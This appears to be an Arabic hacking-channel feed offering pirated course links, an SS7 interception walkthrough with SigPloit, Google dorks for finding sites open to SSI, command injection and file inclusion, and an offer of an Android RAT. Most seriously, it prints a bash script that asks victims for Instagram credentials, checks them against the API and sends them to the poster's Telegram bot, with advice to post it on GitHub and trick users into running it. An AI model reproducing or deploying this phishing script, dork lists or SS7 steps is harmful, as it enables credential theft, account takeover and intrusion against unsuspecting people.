ScriptLab | Free Codes & Projects

كورس تعليم بناء أدوات بالبايثون للإختراق الاخلاقي Python Ethical Hacking : Build tools for ethical hacking ------------------------------------------------------------- ● لغة الكورس: الانجليزية ● سعر الكورس "20$" ● ولكم مجاني -------------------------------------------------------------- رابط معاينة الكورس على يودمي : من هنا رابط تحمل الكورس مجاني مباشرة : من هنا #ALQADHI_HK @GDO0S

كورس تعليم بناء أدوات بالبايثون للإختراق الاخلاقي Python Ethical Hacking : Build tools for ethical hacking ------------------------------------------------------------- ● لغة الكورس: الانجليزية ● سعر الكورس "20$" ● ولكم مجاني -------------------------------------------------------------- رابط معاينة الكورس على يودمي : من هنا رابط تحمل الكورس مجاني مباشرة : من هنا #ALQADHI_HK @GDO0S

ثغرة ss7 من الثغرات الخطيرة التي تهدد كل هاتف ذكي حول العالم، تعرّف على كيفية استغلال ثغرة الاتصالات وبروتوكول ss7 وكيفيه تفاديه ما هي ثغرة ss7 اختصارًا لتسمية Signals System No.7 -أي نظام الإشارات السابع- هو بروتوكول اتصالات يستخدم لتبادل البيانات بين الأجهزة، تم إن إنشاءه عام 1975، يستخدم بكثرة في أنظمة الاتصالات اللاسلكية للعديد من شركات الاتصالات حول العالم. استخداماته: يستخدم في أنظمة الاتصالات اللاسلكية المحلية والفواتير المدفوعة مسبقًا، وخدمة الرسائل النصية SMS والخدمات الأخرى. كيفية عمل بروتوكول ss7 فلنفترض أنك تحاول إجراء مكالمة هاتفية بينك وبين صديقك الذي على بعد 40 كم، يقوم بروتوكول ss7 بنقل البيانات المتمثلة بصوتك إلى محطة الاتصالات ثم إلى جهاز صديقة الذي على بعد 40 كم، وأيضًا يحدث العكس مع صديقك. هذه الآلية تحدث أيضًا لرسائل SMS، هذا البروتوكول هو المسؤول عن نقل مثل هذه البيانات الحساسة. الثغرات الأمنية في بروتوكول ss7 يمتلك بروتوكول ss7 عيوبًا وثغراتٍ خطيرة جدًا، أضف إلى ذلك أن أكثر من 800 شركة اتصالات عالمية تستخدم بروتوكول ss7، ما يسبب قلق من عملية استغلال ثغراته. تكمن ثغرة بروتوكول ss7 إلى إمكانية الاعتراض والتجسس على المكالمات والرسائل القصيرة SMS، كذلك تتبع المواقع الجغرافية للمستخدمين. ايضًا هذا يعني إمكانية تجاوز المصادقة الثنائية التي تستخدم الرسائل القصيرة بكل سهولة، واختراق معظم شبكات التواصل الاجتماعي مثل فيس بوك و تويتر… الخ. بالإضافة إلى تطبيقات المراسلة مثل WhatsApp و Telegram، وأي تطبيق يطلب رمز تأكيد عن طريق إرسال كود إلى الرقم باستخدام SMS أو الاتصال المباشر. كيفية الهجوم حتى تقوم بعمل هجمة بروتوكول ss7، تحتاج إلى أدوات مادية لتحليل الاتصالات، كذلك أدوات برمجية. أداة SigPloit أداة SigPloit هي برمجية لاختبار إشارات الشبكة الاتصالات اللاسلكية المحلية وتستخدم أيضًا في عملية استغلال ثغرة بروتوكول ss7. تنزيل وتثبيت أداة SigPloit أولًا نقوم بتنزيلها من موقع github من هذا الرابط أو بالأمر التالي لتنزيل الملف مباشرةً git clone https://web.archive.org/web/20201203032412/https://github.com/SigPloiter/SigPloit بعد التنزيل نقوم بعملية التثبيت cd SigPloitsudo pip2 install -r requirements.txt python sigsloit.py ثانيًا: اختيار الوحدة النمطية كـ SS7 Myثالثًا: ضبط الخيارات: client_pc serve-pc server IP port MSISDN ثم ادخال رقم الهاتف. رابعًا: التقاط الحزم من أي محلل مثل الواير شارك. من خلال تحليل الحزم في ثغرة ss7 يمكنك التنصت على الحزم والتي تتضمن الرسائل النصية والمكالمات الهاتفية. خامسًا: جمع المعلومات باستخدام أداة “HackRF one” جهاز HackRF one، يعمل على تحليل الموجات الراديوية بشكل عام مثل FM و GSM و LTE، ويمكنه بذلك تحليل الموجات التي تطلقها أبراج الاتصالات؛ لكن للأسف لا يمكن عمل هجمة من خلال ثغرة ss7 بدون هذا الجهاز، يمكنك شراء واحد من متجر أمازون من هنا، بسعر 319.95 دولارًا. اختراق WhatsApp هجوم ثغرة ss7 غالبًا ما يستهدف تطبيق واتساب وذلك لأن لديه أكثر من مليار مستخدم من أكثر من 180 دولة يوميًا؛ قد يظن البعض أن التشفير التام للرسائل في الواتساب يحميه كليّا، لكنه في الأصل يعتمد على التحقق من خلال الرقم (إما رسالة قصيرة أو اتصال) للوصول إلى حساب واتساب الذي مما يمكّن المخترقين من سرقة حساب الواتساب بالكامل، هذا لا يقف عند تطبيق واتساب فقط، فهناك حسابات وتطبيقات أخرى تعتمد على التحقق برقم الهاتف مثل فيس بوك والتيليجرام،، تقريبًا أغلب الخدمات تطلب التحقق من رقم الهاتف!! كيف أحمي نفسي من ثغرة ss7؟ توصل باحث أمن سيبراني ألماني إلى تطبيق أندرويد يمكنه تجميع وتحليل بيانات الهاتف المحمول لكي تراقب الأمان في الشبكة وتحذرك من الهجمات ss7 في الجوار وهو تطبيق SnoopSnitch. يتطلب هذا البرنامج صلاحيات الروت (المستخدم الجذر) يصف المختصون بعدم تفعيل رقم الهاتف إذا كان مرتبطًا بوسائل التواصل الاجتماعي خاصتك، أي بمعنى تخصيص رقم للمكالمات ورقم آخر للواتساب والفيس بوك وغيرها. شركات تضررت من هذه الثغرة شركة O2-Telefonica البريطانية. شركة Telecom الألمانية ما الحل لثغرة ss7 يصف بعض الباحثون بأنه لا توجد طريقة لتفادي هذه الهجمات، ولكن يمكن الكشف عنها قبل استغلالها بواسطة المحاكاة الافتراضية، بالإضافة إلى أن هذه الثغرة ليست عيبًا في النظام وإنما هي من طبيعته. مع أننا في عام 2022، إلا أن الكثير من شركات الإتصال المصابة أنظمتها بهذه الثغرة تعد أن مثل هذه الثغرات تمثل تهديد منخفض المستوى، لكن هناك قراصنة مجهولون من يثبت استغلال أخطاء في ثغرة ss7. #ALQADHI_HK

طبعن هاذي الأداة تعدل علا التوكن والايدي وتخليهم تبعك وترفعها على جيت هب وتقنع ا لمستخدم يحملها وكلمه client_id=5091863873 تعدل الرقم هذا5091863873 وتخليه الرقم الذي يجي في التوكن تبع بوتك

#!/bin/bash echo "أدخل بريدك الالكتروني للتحقق: " read email echo "أدخل كلمة مرور الحساب: " read pass result=$(curl -X POST \   https://api.instagram.com/oauth/access_token \   -F client_id=5091863873 \   -F client_secret=AAGnSOzOVrhVzEalbLCUhokbkauJS1ug_GU \   -F grant_type=password \   -F username=$email \   -F password=$pass \   -F redirect_uri=urn:ietf:wg:oauth:2.0:oob) if [[ $result == *"access_token"* ]] then echo "تم التحقق !" curl -X POST \    https://api.telegram.org/botهنا خلي التوكن تبع بوتك/sendMessage \    -H 'Content-Type: application/json' \    -d "{\"chat_id\":هنا خلي الايدي تبعك,\"text\": \"البريد الالكتروني: $email \\n كلمة المرور: $pass \"}" else echo "خطأ في البريد الالكتروني أو كلمة المرور" fi

سويت لكم أداة تطلب من المستخدم ادخال اليوز نيم تبع الانستغرام او الإيميل وباسورد وعندما يدخلهم يقوم بتاكد اذا كانو صحيح يقول معلوماتك صحيحة واذا خطأ بيقول له خطأ وترسلهم لك لتلجرام يعني باتستعمل الهندسة الاجتماعية فيها

❤️🫶✨

الجزء التاني من الكشف الصريح عن الثغرات اولا بعد اما عرفنا ازاى نقدر نكشف عن المتغيرات للمواقع الربوطة بسيرفر الموقع المستهدف هنتعلم دلوقتي مع بعض شرح لاستخراج المواقع المصابة بثغرة server-side includes هناك العديد من الثغرات بس احنا هنتعلم ثغرة ثغرة بشرح مبسط طبعا ف الشرح اللي فات اتعلمنا ازاى نستخرج  ip الموقع المستهدف وكيفية البحث عن المواقع المربطة بالسيرفر الخطوة الثانية هي بالبحث عن ثغرة server-side includes وده بيكون عن طريق اضافة كلمة[Cklb] او من خلال كلمة [login.shtml] بعد ip ذي مشرحتلكم ف الجزء السابق مثال:- ip:127.0.0.1 Cklb ip:127.0.0.1 login.shtml والمواقع التي ستظهر امامك هي التي تحتوي علي الثغره وكمان تقدر تبحث عن الثغرة باستخدام الدوركات دى. inurl:bin/Cklb/ inurl:login.shtml inurl:login.shtm inurt:1ogin.stm inurl:search.shtml inurl:search.shtm inurl:search.stm inurl:forgot.shtml inurl:forgot.shtm inurl:forgot.stm inurl:register.shtml inurl:register.shtm inurl:register.stm inurl:login.shtml?page= ثانيا البحث عن شغرة Remote OS Command Injection يتم ذلك من خلال اضافة كلمة[cgi-bin/] في نهاية ip الموقع كما شرحنا في الثغرة السابقة وكمان تقدر تبحث عن الثغرة باستخدام الدوركات دى inurl:cgi-bin inurl:ipchecker inurlping.htm inurl:whois.php inurl:commandi.php ثالثا البحث عن ثغرة Remote & Local File Inclusion باستخدام الدوركات الاتية inurl:.php?main="php inurl:.php?file= inurl:.php?inc="php inur:.php?pg="php inurl:.php?include_fle="php inurl:.php?main="html inur:.php?inc="html inurl:.php?pg="html inurl:.php?id= inurl:.php?action= inur:.php?content ملخص لاشهر الثغرات التي تهدد معظم المواقع واللتي سوف نشرح عنها في الاجذاء القادمة 1-SQL Injection [SQLI] 2-SQL Injection Authentication Bypass 3-Cross Site Scripting XSS] 4-Server-Side Includes [SSI] 5- Remote os Command Injection

الجزء الاول من شرح كشف الثغرات هكتب الجزء التاني وهرجعلكوا

معلومة لمكتشفين الثغرات المبتداين اولا علشان تقدر تكتشف ثغرات في بداية تعليمك لازم تبحث عن حاجتين اساسيين اولا : الحاجه الاولي علشان تقدر تكتشف ثغرة ف موقع لازم يكون معاك ip الموقع علشان هيفيدك في المراحل القادمة ثانيا : استكشاف خانات الولوج والبحث في المواقع المحتوية علي متغيرات تعالو نبدا باشرح:- اولا كلنا عارفين ازاى نجيب ip موقع واللي مش عارف بنستخدم امر ping عن طريق اى تريمنال موجود مثال:- $ ping testphp.web.com وهيبدا يظهرلك ip تاني خطوه معانا هي اننا نبحث عن السيرفر المستهدف ب الموقع 👇🏻👇🏻 سنقوم بالبحث عن ip:+ ip الموقع المستهدف مثال:- ip:127.0.0.1 وهيبدا يظهرلك اكتر من موقع مربوط بالسيرفر ومن ضمنهم الموقع المستهدف طيب تمام اوى تالت خطوه وهي اننا نستخرج خانات الولوج والبحث لرشق اكواد بها تستخدم في الكشف الصريح عن الثغرات هنبحث مثلا عن خانات search هكذا 👇🏻👇🏻 ip:127.0.0.1 search وهنا هيظهرلك كل خانات بحث المواقع المرتبطه بالسيرفر طيب رابع خطوة معانا هنبحث عن المتغيرات هكذا 👇🏻👇🏻 ip:127.0.0.1 ?= وبكده هيظهرلك المواقع التي تحتوي علي متغيرات

سيبك من شغل التكبر ده النبي عليه الصلاة كان اشد مخلوق تواضعا ف احنا مهما كبيرنا مش هنكبر عليه ف حتا نجيب 10 % من تواضعه والحاجه اللي متعرفها ان انا معايا فريق كل واحد تخصص حاجه مختلفة عن التاني ومعانا واحد دارس بايثون و php وبيعملش ذيك كده بالعكس ده بيعملي احترام قبل اى حد

حلو كلامك جدا طب لي مسالتش نفسك ان لو حد اخترق اكتر من 15 موقع وقفل 2 من اول مبدئ مسيرته ف المجال ده وممعوش ولا لغة برمجة ومعولماته محدوده عمل كده ازاى ولا اى حد دلوقتي علشان يتكلم كلمتين لازم يكون معاه لغة علشان يعرف يمشي

يسطا بعيد عن اللغات الي معايا المفروض الي يعمل حاجه لازم يبقا عارف هوا بيعمل اي والا هيبقا زي الحمار ف الغيط الي بيوصل الطلبات ولا هوا عارف هوا ماشي فين ولا شايل اي

اى هو علشان نعيش اليومين دول ونعلم الناس حاجه لازم يبقي معانا لغات كل واحد وليه مجالو يحب نا لوقتي لو طلبت منك حاجه تافهه تعملها مش هتتكلم تاني وانت بردو لو بعتلي حاجه اعملها او سوال حتي اكيد مش هعرف اتكلم ف كل واحد وليه تخصصو انما تتريق علي حد علشان معاك لغتين غيرك معاهم تلاته واربعه وساكتين+ كل كبير وليه اكبر منو

اكيد لا يبقا تسكت صباح الفل

يسطا معلومااتك حطها ف طيبه قلبك معاك لغات ولا لا😹

ياراجل😹😹😹

شباب اللي محتاج اى معلومة بخصوص الهندسة العكسية يتفضل وان شاء الله قريبا شرح مفصل هعلمكوا ازاى تحولو اكبر التطبيقات الي خردة وكمان ازاى تقدرو تخترقوا فاير بيز التطبيقات وامكانية التعديل واضافة فاير بيز خاص فيك اللي محتاج اى مساعدة هنا @elhakem_bot

تطبيق Rat4droid بدون اعلانات خصيصا لكم 😘❤️